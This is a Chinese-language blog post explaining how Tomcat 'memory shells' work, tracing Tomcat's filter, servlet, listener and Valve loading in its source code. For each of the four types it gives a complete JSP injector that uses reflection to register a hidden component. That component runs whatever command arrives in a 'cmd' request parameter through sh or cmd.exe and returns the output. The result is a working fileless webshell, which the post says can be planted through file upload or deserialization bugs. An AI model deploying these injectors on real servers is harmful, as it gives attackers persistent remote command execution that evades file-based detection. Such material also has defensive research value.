tomcat内存马原理解析及实现

# 内存马


简介

​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

类型

​ 目前分为三种:

  1. Servlet-API型
    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马

    • filter型
    • servlet型
    • listener型
  2. 字节码增强型

    通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

  3. spring类

    • 拦截器
    • Controller型

基础知识

JAVA web 三大件

一文看懂内存马 - FreeBuf网络安全行业门户

Tomcat基本架构

6. 站在巨人的肩膀学习Java Filter型内存马 - bmjoker - 博客园 (cnblogs.com)

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的。

  • Engine:最顶层容器组件,其下可以包含多个 Host。
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
  • Wrapper:一个 Wrapper 代表一个 Servlet。

0x01 Tomcat filter型内存马

​ 所谓filter内存马,就是在web容器中创建了含有恶意代码的filter,在请求传递到servlet前被拦截下来且执行了恶意代码。因此,我们需要了解filter的创建流程。

​ 由于是tomcat进行创建,因此需要阅读tomcat源码。在pom.xml中添加如下依赖,然后reload maven即可调试tomcat源码

 <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.52</version>
            <scope>provided</scope>
        </dependency>

在filter的init函数下断点,看一下调用链,发现是StandardContext处的filterStart方法调用了filter相关方法。

image-20211023223950411

在调用filterStart方法

image-20211023224136083

这里我们可以发现主要是通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。

接下来再看一下调用filterChain.doFilter(servletRequest,servletResponse);的调用栈

image-20211024131210302

可以发现filterchain在这里创建。

    ApplicationFilterChain filterChain =
            ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

看一下它的具体代码

    for (FilterMap filterMap : filterMaps) {//遍历filterMaps
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//将filterMaps中的配置实例化为FilterConfig
                context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig
    }

filterMaps是web.xml的filter相关配置

image-20211024132539306

如上所述,我们实现filter型内存马要经过如下步骤:(这里原本的filterDef与filterMaps都是通过web.xml解析而来)

  • 创建恶意filter类
  • 构造相应的filterDef
  • 通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。
  • 创建一个相应的filterMaps,且将恶意filter放在最前。

具体实现方法:

由于filter的init在应用创建时完成,因此要进行filter内存马的注入,需要在filterChain.doFilter前把相应的filter配置注入。

可以利用任意文件上传来执行jsp脚本实现,也可以尝试反序列化进行代码执行。

【安全记录】基于Tomcat的Java内存马初探 - 简书 (jianshu.com)

//只适用于tomcat8,tomcat7的import包不同
<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/24
  Time: 19:03
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>


<%
    final String name = "shell";
    // 获取上下文,即standardContext
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
	//获取上下文中 filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
	//创建恶意filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };
		//创建对应的FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
		//创建对应的FilterMap,并将其放在最前
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);
		//调用反射方法,去创建filterConfig实例
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
		//将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

获取standard上下文,使用以下方法获取servletContext,而后调用反射机制获取StandardContext

request.getSession().getServletContext();

image

0x02 Tomcat servlet型内存马

servlet型的内存马原理就是注册一个恶意的servlet,与filter相似,只是创建过程不同。

核心还是看StandardContext

在init filter后就调用了loadOnStartup方法实例化servlet

可以发现servlet的相关信息是保存在StandardContext的children字段。

根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。

public boolean loadOnStartup(Container children[]) {

    // Collect "load on startup" servlets that need to be initialized
    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        ArrayList<Wrapper> list = map.get(key);
        if (list == null) {
            list = new ArrayList<>();
            map.put(key, list);
        }
        list.add(wrapper);
    }

    // Load the collected "load on startup" servlets
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } catch (ServletException e) {
                getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                      getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                // NOTE: load errors (including a servlet that throws
                // UnavailableException from the init() method) are NOT
                // fatal to application startup
                // unless failCtxIfServletStartFails="true" is specified
                if(getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }
    return true;

}

接下去就要寻找如何添加恶意wrapper至children,找到addchild方法,说明了child需要为wrapper实例

  public void addChild(Container child) {   
// Global JspServlet
    Wrapper oldJspServlet = null;

    if (!(child instanceof Wrapper)) {//这里说明了child需要为wrapper实例
        throw new IllegalArgumentException
            (sm.getString("standardContext.notWrapper"));
    }
    ...
  }

寻找创建wrapper实例的代码,发现createWrapper方法

这样创建恶意servlet流程就清楚了

  • 创建恶意的servlet实例
  • 获取standardContext实例
  • 调用createWrapper方法并设置相应参数
  • 调用addchild函数
  • 为了将servlet与相应url绑定,调用addServletMappingDecoded方法

具体实现

<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/25
  Time: 14:45
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "servletshell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner( in ).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/shell123",name);

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

0x03 Tomcat listener型内存马

listener用于监听时间的发生或状态的改变,其初始化与调用顺序在filter之前,

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EventListener

一般作为webshell,需要对网站发送请求使用Java.util.EventListener。

(31条消息) Listener(监听器)的简单介绍_LrvingTc的博客-CSDN博客_listener

从上述连接可知,listener选择很多。我们选择与request相关的ServletRequestListener。

ServletRequest域对象的生命周期:
创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。
销毁:服务器已经对该次请求做出了响应。

		@WebListener
		public class MyServletRequestListener implements ServletRequestListener{
		@Override
		public void requestDestroyed(ServletRequestEvent arg0) {
			System.out.println("ServletRequest销毁了");
		}
	
		@Override
		public void requestInitialized(ServletRequestEvent arg0) {
			System.out.println("ServletRequest创建了");
		}
	
	}

来看一下StandardContext的listenerStart()方法。主要是获取ApplicationListeners来实现Listener的初始化与装载。

public boolean listenerStart() {

        if (log.isDebugEnabled()) {
            log.debug("Configuring application event listeners");
        }

        // Instantiate the required listeners
        String listeners[] = findApplicationListeners();
        Object results[] = new Object[listeners.length];
        boolean ok = true;
        for (int i = 0; i < results.length; i++) {
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Configuring event listener class '" +
                    listeners[i] + "'");
            }
            try {
                String listener = listeners[i];
                results[i] = getInstanceManager().newInstance(listener);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString(
                        "standardContext.applicationListener", listeners[i]), t);
                ok = false;
            }
        }
        ...
}

由此,我们可以通过设置StandardContext的ApplicationListeners字段,实现listener内存马的注入。

StandardContext有addApplicationListener方法。

具体流程

  • 创建恶意listener
  • 获取StandardContext
  • StandardContext.addApplicationListener(listener) 添加listener
 <%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/25
  Time: 14:45
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "servletshell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    PrintWriter out= request.getResponse().getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    };
    standardContext.addApplicationEventListener(listener);



%>
<html>
<head>
    <title>Title</title>
</head>
<body>
inject listener success!
</body>
</html>


0x04 Valve内存马

Tomcat容器攻防笔记之Valve内存马出世 (qq.com)

tomcat架构分析(valve机制) - 南极山 - 博客园 (cnblogs.com)

在四大容器中,容器之间request的传递是由pipeline串连起来的,而其中的标准valve则存储了invoke方法,实现了具体的逻辑。

image-20211025222224303

如图,是四大容器的标准valve,传递request的流程。

image-20211025221005093

Context中pipeline流程的代码:

context.getPipeline().getFirst().invoke(request, response);//获取context的Pipeline,获取其第一个valve,调用invoke方法。

这样的话,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。

在Pipeline类中找到方法addValve,可以添加valve。

<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/24
  Time: 19:03
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public final class myvalve implements Valve{


        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner( in ).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                return;
            }
			this.getNext().invoke(request,response);
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    final String name = "shell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

   myvalve myvalve = new myvalve();
   standardContext.getPipeline().addValve(myvalve);

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

posted @ 2021-10-25 22:37  xyylll  阅读(2318)  评论(0编辑  收藏  举报